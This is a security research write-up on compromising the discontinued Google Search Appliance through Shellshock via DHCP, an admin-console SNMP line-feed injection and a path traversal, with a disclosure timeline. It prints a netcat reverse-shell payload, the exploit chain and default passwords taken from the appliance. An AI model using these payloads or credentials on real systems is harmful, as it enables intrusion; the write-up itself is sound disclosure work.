Tech Editorials #Google

[REL] A Journey Into Hacking Google Search Appliance

2023-07-07

English Version, 中文版本

TL;DR

  • GSA Admin console post-authentication Remote Code Execution.
  • GSA Search interface Path traversal.
  • GSA uses Oracle’s Outside-in Technology to convert documents.
  • Google Web services have some fixed URIs that provide information about the service itself.

Introduction

The Google Search Appliance (hereinafter referred to as GSA) is an enterprise search device launched by Google in 2002, used for indexing and retrieving internal or public network information. Around 2005, Google introduced the Google Mini for personal and small business use. Later, at the end of 2008, a virtual machine version was launched, called the Virtual Google Search Appliance (hereinafter referred to as VGSA). However, at the end of 2018, Google ended the life cycle of the GSA product and integrated it into the Cloud Search product line.

Appliance and Software Acquisition

We managed to purchase a device by searching “Google Search Appliance” on eBay.

Luckily, the first one we bought was a GSA with unerased data:

Even now, you can still find devices that are currently being sold.

On the other hand, The original public link of vGSA has been removed. http://dl.google.com/vgsa/vgsa_20090210.7z [removed] http://dl.google.com/vgsa/vgsa_20081028.7z [removed]

We found the file on BitTorrent magnet link:

magnet:?xt=urn:btih:89388ACE8C3B91FDD3A2F86D8CBB78C58A70D992

Next, found the link to the old version software from Google Groups: https://groups.google.com/g/google-search-appliance-help/c/Qn5aO5r2Joo/m/PTw8ZDWu6vYJ

The link was:

http://dl.google.com/dl/enterprise/install_bundle-10000622-7.2.0-112.bin [removed]

And we can obtain all version number from: http://web.archive.org/web/20210116194907/https://support.google.com/gsa/answer/7020590?hl=en&ref_topic=2709671

Guessing the File Naming Rules as install_bundle-10000(3-digit numbers)-7.(numbers).(numbers)-(numbers).bin

And write a shell script to attempt downloading software:

for((j=622;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.2.0-$i.bin;done;done
for((j=661;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.4.0-$i.bin;done;done
for((j=693;j<999;+j));do for((i=1;i<444;+i));do wget http://dl.google.com/dl/enterprise/install_bundle-10000$j-7.6.0-$i.bin;done;done

Including the information found through internet search, successfully retrieved the following file:

all_langs-lang-pack-2.1-1.bin
all_langs-lang-pack-2.2-1.bin
centos_patch_files-6.0.0-22.bin
centos_patch_files-6.14.0-28.bin
centos_patch_files-7.0.14-238.bin
centos_patch_files-7.2.0-252.bin
centos_patch_files-7.2.0-264.bin
centos_patch_files-7.2.0-270.bin
centos_patch_files-7.2.0-280.bin
centos_patch_files-7.2.0-286.bin
install_bundle-10000653-7.2.0-252.bin
install_bundle-10000658-7.2.0-264.bin
install_bundle-10000661-7.2.0-270.bin
install_bundle-10000681-7.4.0-64.bin
install_bundle-10000685-7.4.0-72.bin
install_bundle-10000686-7.4.0-74.bin
install_bundle-10000692-7.4.0-82.bin
install_bundle-10000762-7.6.0-36.bin
install_bundle-10000767-7.6.0-42.bin
install_bundle-10000772-7.6.0-46.bin
install_bundle-10000781-7.6.0-58.bin
install_bundle-10000810-7.6.50-30.bin
install_bundle-10000822-7.6.50-36.bin
install_bundle-10000855-7.6.50-64.bin
install_bundle-10000878-7.6.250-12.bin
install_bundle-10000888-7.6.250-20.bin
install_bundle-10000901-7.6.250-26.bin
install_bundle-10000915-7.6.360-10.bin
install_bundle-10000926-7.6.360-16.bin
install_bundle-10000967-7.6.512-18.bin
sw_files-5.0.4-22.bin
sw_files-6.14.0-28.bin
sw_files-7.0.14-238.bin
vm_patch_1_for_504_G22_and_G24_only.bin

vGSA (Virtual Google Search Appliance)

Next, we began research on vGSA. By default, after importing the virtual machine, this system only provides a function for network configuration and doesn’t provide a system shell for operation or use. However, because the virtual machine operates within ours own environment, it is usually possible to obtain system permissions through the following methods:

  • Directly altering unencrypted disk files
  • Modifying the virtual machine memory
  • Booting using CDs or disks from another operating system
  • Exploiting known vulnerabilities
  • Utilizing hard-coded administrator or system account passwords

The following image shows the network configuration screen:

CVE-2014-6271

When testing early Linux appliances and servers, especially those using the RedHat series operating system, there are often Shellshock vulnerabilities, and the 2008 released vGSA is no exception. Inserting option 114 in the DHCP server will be set in the environment variable, thereby triggering the vulnerability and executing any command.

The command attempted to be inserted is: useradd zzzzgsa. This command can be observed to be executed repeatedly, as error messages continue to appear in the console output.

vGSA operation system observation

After successfully obtaining operating system privileges, we can observe the network environment, the running applications, and the file system. Here are some insights gained from observing the operating system environment:

  • Version number is 5.2.0.G.27.
  • Services are mainly written in C/C++, Java, Python.
  • /export/hda3 seems to be the directory primarily used by the service.
  • /etc/shadow contains the root account with password hash x███████████M.
  • Administration interface listening on port 8000, 8443 with default admin password, j0njlRXpU5CQ.
  • /.gnupg contains ent_box_key public and private keys.
  • /.gnupg contains google_license_key public key.
  • /.ssh/authorized_keys contains two sets of public keys.
  • /root/.ssh/authorized_keys contains one set of public keys.
  • /root/.ssh/ contains two sets of SSH public and private keys.
  • /root/.gnupg/ contains ent_box_key public and private keys.
  • Oracle’s Outside In Technology is used to convert documents into HTML web pages.
  • The Java runtime environment uses a Security Manager for protection.
  • The request for engineer support function uses ppp to build a virtual private network, /etc/ppp/chap-secrets contains account passwords ( z██████c、]███████T ).
  • The boot menu password in /etc/lilo.conf is cmBalx7.
  • /export/hda3/versionmanager/google_key.symmetric has a string that seems to be used for symmetric encryption.
  • /export/hda3/versionmanager/vmanager_passwd contains two sets of username-password combinations ( admin: M█████████████████████████w=:9██= google:w█████████████████████████o=:N██= ).

Executable programs with network services are as follows:

Listen Port Process Name Program Language Function
22 ssh C/C++ OpenSSH Server
53 named C/C++ Bind Named
953 named C/C++ Bind Named
1111 webserver_config python Installer
2100 adminrunner.py python admin console backend
3990 monitor C/C++ monitor
4000 rtserver C/C++ unknown
4430 EnterpriseFrontend Java (with security manager) admin console frontend
4911 borgmon C/C++ borgmon
4916 reactor C/C++ unknown
5000 rtserver C/C++ unknown
5600 rtserver C/C++ unknown
6600 cacheserver C/C++ unknown
7800 EnterpriseFrontend Java (with security manager) admin console frontend (http)
7880 TableServer Java (with security manager) unknown
7882 AuthzChecker Java (without security manager) unknown
7886 tomcat Java tomcat server
8000 EnterpriseAdminConsole Java (without security manager) unknown
8443 stunnel C/C++ redirect http to https
8888 GWS C/C++ unknown
9300 oneboxserver C/C++ unknown
9328 entspellmixer C/C++ unknown
9400 mixserver C/C++ unknown
9402 mixserver C/C++ unknown
9448 qrewrite C/C++ unknown
9450 EnterpriseAdminConsole Java (without security manager ) unknown
10094 enterprise_onebox C/C++ unknown
10200 clustering_server C/C++ unknown
11913 sessionmanager C/C++ unknown
12345 RegistryServer Java (without security manager) unknown
19780 configmgr/ent_configmgr.py python unknown
19900 feedergate C/C++ extract, transform and feed records
21200 FileSystemGateway Java (with security manager) unknown
31300 rtserver C/C++ unknown

Despite the presence of so many services, most connections are blocked by iptables. The following are the iptables settings:

# Redirect privileged ports.
# (we listen as nobody, which can't attach to low ports, so redirect to high ports)
#
-A PREROUTING -i eth0 -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 7800
-A PREROUTING -i eth0 -p tcp -m tcp --dport 443 -j REDIRECT --to-ports 4430
-A PREROUTING -i eth0 -p tcp -m tcp --dport 444 -j REDIRECT --to-ports 4431
-A INPUT -i eth0 -p udp -m state --state ESTABLISHED,RELATED -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7800 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 7801 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4430 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 4431 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 19900 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8000 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 8443 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9941 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 9942 -j ACCEPT
-A INPUT -i eth0 -p tcp -m tcp --dport 10999 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 68 --dport 67 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 137:138 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 123 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 514 -j ACCEPT
-A INPUT -i eth0 -p udp -m udp --dport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --sport 161 -j ACCEPT
-A OUTPUT -o eth0 -p udp -m udp --dport 162 -j ACCEPT

The following summarizes the actual accessible TCP attack surface:

Port Service Program Location
22 ssh /usr/sbin/sshd
7800 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
4430 EnterpriseFrontend /export/hda3/5.2.0/local/google/bin/EnterpriseFrontend.jar
19900 feedergate /export/hda3/5.2.0/local/google/bin/feedergate
8000 EnterpriseAdminConsole /export/hda3/5.2.0/local/google/bin/EnterpriseAdminConsole.jar
8443 stunnel /usr/sbin/stunnel

And we found that the strings in file /export/hda3/versionmanager/google_key.symmetric can be used to decrypt the content of all install bundles! After gaining privileges using CVE-2014-6271 and decrypting the contents of the install bundle, our research on vGSA has temporarily concluded.

But its lacks of memory protection might have some vulnerabilities that can be easily exploited.

GSA

Upon booting the installed appliance and attempting to change the boot sequence, we found that a password is required to enter the BIOS. Moreover, only some functions are accessible in the management interface of the Dell H700 RAID card:

Next, attempt to directly read the contents of the hard drive. If the hard drive content is not encrypted, there is a chance that the device’s operating system and software can be obtained directly. We found that its hard drive uses SAS interface for transmission. Before attempting, it is necessary to purchase a SAS HBA card. The LSI 9211-8i is used for connection in this test:

After connecting and attempting to read, it was discovered that this is a Self-Encrypting Drive (SED). It requires a password to unlock for access. OSSLab has a more detailed explanation here:

https://www.osslab.com.tw/ata-sed-security/ (chinese article)

There are several ways to continue trying when the hard drive cannot be directly accessed:

  • Try to read the password in the BIOS EEPROM and change the boot order.

This method requires damage to the motherboard and carries some risk. This method is only used when no vulnerabilities can be found at the software level. More information: https://blog.cybercx.co.nz/bypassing-bios-password

  • Use PCILeech to read, write memory to gain system privileges.

This method requires specific PCI-e devices, which were not prepared at the time. You can refer to this GitHub project:

https://github.com/ufrisk/pcileech

  • Look for software vulnerabilities that can access the service

This method is simpler and more feasible.

LF injection in Admin Console

After logging into the admin console, we observed a feature for obtaining system information through SNMP. Additionally, this feature allows the insertion of custom strings.:

We tried classic LF injection here:

Inject sysContact with a LF and following command:

extend shell /bin/nc -e /bin/sh 10.5.2.1 4444

After inserting the configuration value “extend”, we can use the command “snmpwalk” to trigger the SNMP’s extend functionality and execute a shell.

Command executed successfully, and connected back with a shell.

Arbitrary File Reading

From GSA 6.x series versions, we found that the 80/443 web services use Apache httpd in the RPM installation package. There are several http configurations located in /etc/httpd/conf.d/. In the files gsa-http.conf and gsaa-https.conf, certain directories are redirected to specific local services.

  RewriteEngine on
  RewriteRule ^/security-manager/(.*) http://localhost:7886/security-manager/$1 [P,L]
  RewriteRule ^/d██████████/(.*) http://localhost:7890/dps/d██████████/$1 [P,L]
  RewriteRule ^/s██████/(.*) http://localhost:7890/dps/s██████/$1 [P,L]
  RewriteRule ^/v█████/(.*) http://localhost:7890/v█████/$1 [P,L]
  RewriteRule ^/$ http://localhost:7800/ [P,L]
  RewriteRule ^/(.*) http://localhost:7800/$1 [P,L]

The communication ports 7886 and 7890 are services run by separate Apache Tomcat servers. When proxying two or more web servers, the path determination of Tomcat, ..;/, is an interesting test point. You can refer to the article written by our employee for more details:

https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf

The point we’re interested in is dps, which doesn’t seem to be present in the old version of GSA. Extracting /WEB-INF/web.xml from dps.war allows us to inspect the web application configuration, and we’ve found that the endpoint of /font will handled by com.documill.dps.connector.servlet.user.DPSDownloadServlet

  <servlet>
    <servlet-name>font</servlet-name>
    <servlet-class>com.documill.dps.connector.servlet.user.DPSDownloadServlet</servlet-class>
    <init-param>
      <param-name>rootDirectory</param-name>
      <param-value>work/fonts/</param-value>
    </init-param>
  </servlet>

  <servlet-mapping>
    <servlet-name>font</servlet-name>
    <url-pattern>/font/*</url-pattern>
  </servlet-mapping>

And looking into DPSDownloadServlet

import com.davisor.net.servlet.DownloadServlet;
import com.documill.dps.*;
import java.io.*;
import javax.servlet.ServletContext;

public class DPSDownloadServlet extends DownloadServlet
    implements DPSUserService
{

    public DPSDownloadServlet()
    {
    }

    protected String getRealPath(ServletContext servletcontext, String s)
        throws IOException
    {
        DPS dps = DPSSingleton.getDPS();
        File file = dps.getHomeDir();
        if(file == null)
            throw new FileNotFoundException("DPSDownloadServlet:getRealPath:DPS home directory not specified");
        else
            return (new File(file, s)).getAbsolutePath();
    }

    private static final long serialVersionUID = 0L;
}

Step into com.davisor.net.servlet.DownloadServlet which extends DPSDownloadServlet

    protected void service(HttpServletRequest httpservletrequest, HttpServletResponse httpservletresponse)
        throws ServletException, IOException
    {
        String s = httpservletrequest.getParameter(uriParameterName);
        if(!isValid(s))
        {
            httpservletresponse.sendError(400, (new StringBuilder()).append("Invalid file path: ").append(s).toString());
            return;
        }
        File file = rootDirectory.deriveFile(s);
        if(!file.isFile())
            httpservletresponse.sendError(404, (new StringBuilder()).append("No file:").append(s).toString());
        else
        if(!file.canRead())
        {
            httpservletresponse.sendError(403, (new StringBuilder()).append("Unreadable file:").append(s).toString());
        } else
        {
            long l = file.length();
            if(l > 0x7fffffffL)
            {
                httpservletresponse.sendError(413, (new StringBuilder()).append("File too big:").append(l).toString());
            } else
            {
                String s1 = MIME.getTypeFromPath(file.getName(), "application/octet-stream");
                httpservletresponse.setContentLength((int)l);
                httpservletresponse.setContentType(s1);
                httpservletresponse.setDateHeader("Last-Modified", file.lastModified());
                if(cacheExpires > 0L)
                {
                    httpservletresponse.setDateHeader("Expires", System.currentTimeMillis() + cacheExpires);
                    httpservletresponse.setHeader("Cache-Control", "public");
                }
                IO.copy(file, httpservletresponse.getOutputStream());
            }
        }
    }
    private static boolean isValid(String s)
    {
        return !Strings.isEmpty(s) && !s.contains("..");
    }

You can see here that the only check is whether the string contains ... However, we can directly specify the absolute path and read any local file directly!

The old version of GSA does not have the /font endpoint, but /dps/admin/admin has a similar file reading issue. You can directly specify the logName for file reading. Refer to the diagram below for directly reading the account password from the system management interface:

After successfully cracking the hash, you can log in, enable the SNMP service, and combine it with the first vulnerability to execute arbitrary commands with root privileges.

Other findings and misc

Internal URIs in web services

In GSA, there are multiple sub-services that communicate with each other using the HTTP protocol. Many of these services offer URLs such as /varz, /helpz, and /procz. We can access them either in the trusted network location defined for the service or using 127.0.0.1:

In vGSA, we observed that there is a service execution parameter called “useripheader=X-User-Ip”, this parameter allows direct access to a certain functionality of the externally exposed admin console when included in the request header as “X-User-Ip”.

The /procz endpoint can even fetch executables and the shared libraries they are using:

Appliances list

Model name Maker Specs version Document amount
Google Mini Gigabyte Pentium III 1G / 2GB memory / 120G 3.4.14 300,000
Google Mini-002X SuperMicro Pentium 4 3G / 2GB memory / 250G HDD 5.0.0 unknown
Google GB-1001 Dell Poweredge 2950 Xeon / 16GB memory / 1.25TB HDD unknown 3,000,000
Google GB-1002 Gigabyte unknown unknown unknown
Google GB-7007 Dell R710 Xeon E5520 / 48GB memory / 3TB HDD unknown 10,000,000
Google GB-9009 Dell unknown Xeon X5560 / 96GB memory / 3.6TB HDD unknown 30,000,000
Google G100 Dell R720XD unknown unknown unknown

Linux Kernel Version

GSA version Linux Kernel Version
7.6.0 Linux version 3.14.44_gsa-x64_1.5 ([email protected]) (gcc version 4.9.x-google 20150123 (prerelease) (Google_crosstoolv18-gcc-4.9.x-x86_64-grtev4-linux-gnu) ) #1 SMP Mon Nov 23 09:19:11 PST 2015
7.4.0  
7.2.0 Linux version 3.4.3_gsa-x64_1.5 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Tue Jul 9 15:36:01 PDT 2013
7.0.14 Linux version 3.4.3_gsa-x64_1.3 ([email protected]) (gcc version 4.6.x-google 20120601 (prerelease) (Google_crosstoolv15-gcc-4.6.x-glibc-2.11.1-grte) ) #1 SMP Thu Jul 19 11:59:57 PDT 2012
5.2.0 Linux version 2.6.20_vmw-smp_3.1 ([email protected]) (gcc version 4.1.1) #1 SMP Thu Jan 24 22:34:28 PST 2008

Timeline

時間 事件
2005/06/10 Java Code Injection CVE-2005-3757 reported by H D Moore
early 2008 GSA 5.0 released
2008/10/28 vgsa_20081028.7z (5.2.0) released
2013/04/20 GSA 6.14.0.G28 released
2014/03/20 Cross-site Scripting CVE-2014-0362 reported by Will Dormann
2014/10/01 GSA 7.0.14.G238 released
2014/10/03 GSA 7.2.0.G252 released
2014/12/12 GSA 7.2.0.G264 released
2015/02/07 GSA 7.2.0.G270 released
2015/04/15 GSA 7.4.0.G64 released
2015/04/22 GSA 7.4.0.G72 released
2015/04/30 GSA 7.4.0.G74 released
2015/06/04 GSA 7.4.0.G82 released
early 2016 Google announced that GSA will be sunset from the market.
2016/01/05 XML External Entitiy injection reported by Timo
2016/05/24 GSA 7.6.0.G36 released
2016/07/01 GSA 7.6.0.G42 released
2016/07/31 The author of this article obtained this device, with the version being 7.0.14
2016/08/25 GSA 7.6.0.G46 released
2016/10/21 GSA 7.6.0.G58 released
2017/01/19 GSA 7.6.50.G30 released
2017/04/19 GSA 7.6.50.G36 released
2017/07/28 GSA 7.6.50.G64 released
2017/11/09 GSA 7.6.250.G12 released
2017/12/28 The final date to order GSA.
2018/01/17 GSA 7.6.250.G20 released
2018/03/21 GSA 7.6.250.G26 released
2018/06/15 GSA 7.6.360.G10 released
2018/10/08 GSA 7.6.360.G16 released
2019/04/26 GSA 7.6.512.G18 released. It should be the last publicly released version.
2021/08/16 issues reported.
2021/08/16 replied from a bot, and triaged.
2021/08/16 issuetracker.google.com assigned a issue.
2021/08/18 Google said issue is not severe enough to qualify for a reward, but VRP panel will take a closer look.
2021/08/20 VRP panel has decided that the security impact of this issue does not meet the bar for a financial reward.
2021/11/01 Asking if a vulnerability will be assigned a CVE identifier.
2021/11/02 Confirming that a CVE identifier will not be assigned.
early 2023 Started writing this article
2023/06/04 First draft completed.

Conclusion

Although the GSA/vGSA is a product that has reached the end of its lifecycle, studying how Google increases product security and reduces attack vectors for devices can broaden our knowledge, which we might not usually come into contact with. Although it is not detailed in this article, the Java Security Manager and the Linux Kernel’s seccomp are both technologies used in the GSA, and this research has also left some goals for further study:

  • The feedergate service listening on port 19900.
  • Memory vulnerabilities in Oracle’s Outside-in Technology for converting file formats.
  • The convert_to_html seccomp sandbox

We will share when there are some research results, See you next time.